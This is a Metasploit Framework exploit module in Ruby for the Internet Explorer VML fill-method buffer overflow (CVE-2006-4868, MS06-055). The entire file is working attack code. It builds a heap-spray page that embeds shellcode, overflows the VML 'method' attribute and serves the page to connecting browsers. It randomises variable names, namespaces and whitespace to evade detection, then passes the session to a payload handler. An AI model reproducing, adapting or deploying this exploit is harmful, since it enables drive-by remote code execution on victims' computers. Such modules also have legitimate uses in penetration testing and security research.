Microsoft Internet Explorer - VML Fill Method Code Execution



##

# $Id: ms06_055_vml_method.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpServer::HTML

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Internet Explorer VML Fill Method Code Execution',
            'Description'    => %q{
                    This module exploits a code execution vulnerability in Microsoft Internet Explorer using
                a buffer overflow in the VML processing code (VGX.dll). This module has been tested on
                Windows 2000 SP4, Windows XP SP0, and Windows XP SP2.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'hdm',
                    'Aviv Raff <avivra [at] gmail.com>',
                    'Trirat Puttaraksa (Kira) <trir00t [at] gmail.com>',
                    'Mr.Niega <Mr.Niega [at] gmail.com>',
                    'M. Shirk <shirkdog_list [at] hotmail.com>'
                ],
            'Version'        => '$Revision: 9669 $',
            'References'     =>
                [
                    ['CVE',   '2006-4868' ],
                    ['OSVDB', '28946' ],
                    ['MSB',   'MS06-055' ],
                    ['BID',   '20096' ],
                ],
            'Payload'        =>
                {
                    'Space'          => 1024,
                    'BadChars'       => "\x00",
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    ['Windows NT 4.0 -> Windows 2003 SP1', {'Ret' => 0x0c0c0c0c} ]
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Sep 19 2006'))
    end

    def on_request_uri(cli, request)

        # Re-generate the payload
        return if ((p = regenerate_payload(cli)) == nil)

        # Determine the buffer length to use
        buflen = 1024
        if (request.headers['User-Agent'] =~ /Windows 5\.[123]/)
            buflen = 65535
        end

        # Encode the shellcode
        shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

        # Get a unicode friendly version of the return address
        addr_word  = [target.ret].pack('V').unpack('H*')[0][0,4]

        # Select a random VML element to use
        vmls = %w{ rect roundrect line polyline oval image arc curve }
        vmlelem = vmls[ rand(vmls.length) ]

        # The overflow buffer for the method attribute
        buffer = ("&#x" + addr_word + ";") * buflen

        # Generate a random XML namespace for VML
        xmlns = rand_text_alpha(rand(30)+2)

        # Randomize the javascript variable names
        var_buffer    = rand_text_alpha(rand(30)+2)
        var_shellcode = rand_text_alpha(rand(30)+2)
        var_unescape  = rand_text_alpha(rand(30)+2)
        var_x         = rand_text_alpha(rand(30)+2)
        var_i         = rand_text_alpha(rand(30)+2)

        # Build out the message
        content = %Q|
<html xmlns:#{xmlns} = " urn:schemas-microsoft-com:vml " >
<head>
<style> #{xmlns}\\:* { behavior: url(#default#VML) ; } </style>
<body>
<script>

    var #{var_unescape}  = unescape ;
    var #{var_shellcode} = #{var_unescape}( "#{shellcode}" ) ;

    var #{var_buffer} = #{var_unescape}( "%u#{addr_word}" ) ;
    while (#{var_buffer}.length <= 0x400000) #{var_buffer}+=#{var_buffer} ;

    var #{var_x} = new Array() ;
    for ( var #{var_i} =0 ; #{var_i} < 30 ; #{var_i}++ ) {
        #{var_x}[ #{var_i} ] =
            #{var_buffer}.substring( 0 ,  0x100000 - #{var_shellcode}.length ) + #{var_shellcode} +
            #{var_buffer}.substring( 0 ,  0x100000 - #{var_shellcode}.length ) + #{var_shellcode} +
            #{var_buffer}.substring( 0 ,  0x100000 - #{var_shellcode}.length ) + #{var_shellcode} +
            #{var_buffer}.substring( 0 ,  0x100000 - #{var_shellcode}.length ) + #{var_shellcode} ;
    }

</script>
<#{xmlns}:#{vmlelem}>
    <#{xmlns}:fill method = "#{buffer}" />
</#{xmlns}:#{vmlelem}>

</body>
</html>
        |

        content = Rex::Text.randomize_space(content)

        print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

        # Transmit the response to the client
        send_response_html(cli, content)

        # Handle the payload
        handler(cli)
    end

end